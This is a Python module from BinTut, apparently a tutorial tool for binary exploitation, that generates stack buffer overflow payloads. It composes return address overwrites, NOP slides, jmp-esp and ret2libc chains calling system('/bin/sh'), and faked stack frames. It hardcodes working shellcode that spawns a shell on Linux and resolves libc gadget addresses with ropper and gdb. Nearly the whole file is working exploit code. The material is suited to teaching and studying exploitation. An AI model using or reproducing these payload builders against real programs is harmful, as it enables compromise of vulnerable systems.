"""
Copyright 2016 Gu Zhengxiong <rectigu@gmail.com>

This file is part of BinTut.

BinTut is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

BinTut is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with BinTut.  If not, see <http://www.gnu.org/licenses/>.
"""


from __future__ import division, absolute_import, print_function
from binascii import hexlify

from ropper import Loader, Ropper, Gadget
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection

from .init import LoggingMixIn
from .debuggers import Debugger, align_32, align_64
from .utils import p32, tree


def make_payload(offset, addr, post):
    """Make a payload of the specified kind."""
    if post in ['plain', 'off-by-one']:
        payload = Fill(offset) + Plain(addr) + Shellcode()
    elif post == 'nop-slide':
        payload = Fill(offset) + Plain(addr) + Nop(32) + Shellcode()
    elif post == 'jmp-esp':
        payload = Fill(offset) + JmpEsp() + Shellcode()
    elif post == 'ret2lib':
        payload = Fill(offset) + Ret2Fun()
    elif post == 'frame-faking':
        payload = (
            Faked(offset=offset, address=addr) +
            Faked('system', ['/bin/sh']) +
            Faked('execl', ['/bin/sh', '/bin/sh', 0]) +
            Faked('exit', [0]))
    else:
        raise ValueError('No such payload!')
    return payload.payload


# TODO: Use other friendly and consistent libraries.
class Environment(LoggingMixIn):
    """Exploit generation environment."""
    PLATFORM = None
    # TODO: Substitute ``BITS`` with ``ABI``.
    BITS = None
    POINTER_SIZE = None
    LIBC_PATH = None
    ASLR = False
    debugger = None

    def __init__(self, platform=None, bits=None, pointer_size=None,
                 aslr=False):
        self.__class__.ASLR = aslr
        if platform is None:
            from .utils import simple_platform
            platform = simple_platform()
        self.logger.debug('platform: %s', platform)
        self.__class__.PLATFORM = platform
        backend = 'gdb' if platform == 'linux' else 'cdb'
        self.__class__.debugger = Debugger(self, backend)

        if bits is None:
            bits = 32
        self.logger.debug('bits: %s', bits)
        self.__class__.BITS = bits
        prefix = 'e' if bits == 32 else 'r'
        self.logger.debug('prefix: %s', prefix)
        for reg in ['ip', 'sp', 'bp',
                    'ax', 'si', 'di',
                    'bx', 'cx', 'dx']:
            setattr(self.__class__, reg.upper(), prefix + reg)

        if pointer_size is None:
            pointer_size = 4 if bits == 32 else 8
        self.logger.debug('pointer_size: %s', pointer_size)
        self.__class__.POINTER_SIZE = pointer_size


class Payload(Environment):
    """Payload."""
    def __init__(self, payload=None):
        # Don't initialize Environment.
        if payload is None:
            payload = b''
        self.payload = payload

    def compose(self):
        return self.payload

    def __add__(self, other):
        self.logger.debug('self.__class__: %s', self.__class__)
        return self.__class__(self.compose() + other.compose())


class Fill(Payload):
    """Memory filling payload component."""
    def __init__(self, count, byte=b'A'):
        self.count = count
        self.byte = byte

    def compose(self):
        return self.count * self.byte

    # TODO: Strive to remove this.
    def __add__(self, other):
        return Payload(self.compose() + other.compose())


class Plain(Payload):
    """Plain EIP / RIP overwriting."""
    def __init__(self, address):
        self.address = address

    def compose(self):
        return p32(self.address)


class Nop(Fill):
    """Memory NOP filling component."""
    def __init__(self, count):
        Fill.__init__(self, count, b'\x90')


class JmpEsp(Payload):
    """JMP ESP."""
    def compose(self):
        jmp_esp_address = Resolver().get('jmp esp')
        return p32(jmp_esp_address)


# TODO: Rely on other libraries.
class Shellcode(Payload):
    """Shellcode component."""
    def __init__(self):
        self.logger.debug('PLATFORM: %s', self.PLATFORM)
        self.logger.debug('BITS: %s', self.BITS)
        self.logger.debug('POINTER_SIZE: %s', self.POINTER_SIZE)

        lin32 = b'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f' \
                b'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd' \
                b'\x80'
        lin64 = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f' \
                b'\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31' \
                b'\xd2\x0f\x05'
        win32 = b'\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b' \
                b'\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09' \
                b'\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d' \
                b'\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03' \
                b'\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81' \
                b'\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04' \
                b'\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03' \
                b'\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3' \
                b'\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68' \
                b'\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68' \
                b'\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9' \
                b'\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65' \
                b'\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01' \
                b'\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68' \
                b'\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68' \
                b'\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68' \
                b'\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57' \
                b'\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c' \
                b'\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78' \
                b'\x69\x74\x54\x53\xff\xd6\x57\xff\xd0'
        win64 = b''

        self.shellcode = tree()
        self.shellcode['linux'][32] = lin32
        self.shellcode['linux'][64] = lin64
        self.shellcode['win32'][32] = win32
        self.shellcode['win32'][64] = win64

    def compose(self):
        self.logger.debug('PLATFORM: %s', self.PLATFORM)
        self.logger.debug('BITS: %s', self.BITS)
        shellcode = self.shellcode[self.PLATFORM][self.BITS]
        self.logger.debug('shellcode: %s', shellcode)
        return shellcode


class Ret2Fun(Payload):
    """Return to functions."""
    def compose(self):
        resolver = Resolver()
        system = resolver.get('system')
        binsh = resolver.get('/bin/sh')
        exit_addr = resolver.get('exit')
        exit_code = b'\x00' * self.POINTER_SIZE
        return p32(system) + p32(exit_addr) + p32(binsh) + exit_code


class Faked(Payload):
    """A faked frame.

    Three valid use cases are as follows:
    Faked(name, args) is a normal frame,
    Faked(offset=offset, address=address) the starting frame, and
    Faked(address=address, payload=payload) the resulting frame.
    """
    filling_byte = b'A'

    def __init__(self, name=None, args=None, offset=None,
                 address=None, payload=None, next_address=None):
        self.offset = offset
        self.address = address
        self.name = name
        self.resolver = Resolver()
        self.leave_ret = self.resolver.get('leave ret')

        if args is None:
            self.args = []
        else:
            self.args = args

        if self.offset:
            # Construct the starting faked frame.
            self.payload = (
                self.filling_byte*(offset-self.POINTER_SIZE) +
                p32(self.address) +
                p32(self.leave_ret))
        else:
            self.payload = payload

        self.next_address = next_address

    def __add__(self, other):
        """Combine two faked frames.

        The expected left operand should be either
        a starting faked frame or a resulting frame constructed by
        previous combination, while the right operand a normal frame.
        """
        if isinstance(other, Shellcode):
            # TODO: Support adding shellcode.
            # This is not supported at present.
            address = hex(int(self.address, 16) + len(other.sc))
            payload = (
                self.filling_byte*(
                    self.offset-self.POINTER_SIZE) +
                p32(address) + p32(self.leave_ret) + other.sc)
        elif other.next_address:
            address = other.next_address
            payload = (
                self.payload + p32(address) + p32(address) +
                p32(self.leave_ret))
        else:
            address = hex((int(self.address, 16) +
                           3*self.POINTER_SIZE +
                           len(other.args)*self.POINTER_SIZE))
            payload = (self.payload +
                       p32(address) +
                       p32(self.resolver.get(other.name)) +
                       p32(self.leave_ret) + other.make_args())
        # Construct a resulting frame.
        return self.__class__(address=address, payload=payload)

    def make_args(self):
        """Prepare stack arguments for the function in the frame.

        For the time being, it handles strings and integrals.
        As for strings, actually, it only handles '/bin/sh'.
        """
        # TODO: Can we handle general cases of strings?
        args = b''
        for arg in self.args:
            if isinstance(arg, int):
                args += p32('{:#010x}'.format(arg))
            elif isinstance(arg, str):
                args += p32(self.resolver.get(arg))
            else:
                raise ValueError
        return args


class PopPopRet(Payload):
    pass


class Resolver(Environment):
    """Resolve symbol addresses."""
    def __init__(self):
        # Don't initialize Environment.
        # TODO: Support Windows.
        self.path = self.LIBC_PATH
        self.logger.debug('libc path: %s', self.path)
        self.libc = Loader.open(self.path)
        self.libc.imageBase = self.get_libc_base_address()
        self.ropper = Ropper()

    def get(self, name):
        if name == 'jmp esp':
            return self.get_jmp_esp_address()
        # TODO: Can we handle general cases of strings? See above.
        elif name == '/bin/sh':
            return self.get_bin_sh_address()
        elif name == 'leave ret':
            return self.get_leave_ret_address()
        elif name == 'pop pop ret':
            return self.get_pop_pop_ret_address()
        else:
            return self.get_func_address(name)

    def get_jmp_esp_address(self):
        for index, item in enumerate(self.ropper.searchJmpReg(self.libc, ['esp'])):
            self.logger.debug('item: %s', item)
            if item.address % 2 != 0:
                self.logger.info('Skip a probably bad item: %s', item)
                continue
            return self.handle_address(item.address)
        raise RuntimeError('Failed to find jmp esp!')

    def get_pop_pop_ret_address(self):
        many = self.ropper.searchPopPopRet(self.libc)
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find POP POP RET!')
        return self.handle_address(address)

    def get_leave_ret_address(self):
        many = self.ropper.searchOpcode(self.libc, 'c9c3')
        for one in many:
            address = one.address
            break
        else:
            raise RuntimeError('Failed to find LEAVE RET!')
        return self.handle_address(address)

    def get_bin_sh_address(self):
        Gadget.IMAGE_BASES[self.libc.fileName] = self.libc.imageBase
        opcode, size = self.ropper._formatOpcodeString(hexlify(b'/bin/sh').decode('utf-8'))
        for sec in self.libc.executableSections + self.libc.dataSections:
            for one in self.ropper._searchOpcode(sec, self.libc, opcode, size):
                self.logger.debug('one: %s %s %s', one, type(one), dir(one))
                return self.handle_address(one.address)
        raise RuntimeError('Failed to find /bin/sh!')

    def get_func_address(self, name):
        address = None
        with open(self.path, 'rb') as stream:
            elf = ELFFile(stream)
            for section in elf.iter_sections():
                if isinstance(section, SymbolTableSection):
                    for symbol in section.iter_symbols():
                        if symbol.name == name:
                            self.logger.debug('%s', symbol.entry)
                            address = symbol.entry['st_value']
                            break
                if address:
                    break
            else:
                raise RuntimeError('Failed to find {}'.format(name))
        return self.handle_address(address + self.libc.imageBase)

    def handle_address(self, address):
        self.logger.debug('address: %s', address)
        address = hex(address).strip('L')
        self.logger.debug('hex stripped: %s', address)
        if self.BITS == 64:
            address = align_64(address)
        else:
            address = align_32(address)
        self.logger.debug('aligned: %s', address)
        command = 'x/4i {}'.format(address)
        result = self.debugger.execute(command)
        self.logger.debug('%s: %s', command, result)
        return address

    def get_libc_base_address(self):
        base_address = None
        mapping = self.debugger.execute('info proc mapping')
        for line in mapping.splitlines():
            self.logger.debug('line: %s', line)
            if self.path in line:
                base_address = int(line.split()[0], 16)
                break
        else:
            raise RuntimeError('Failed to find libc base!')
        return base_address
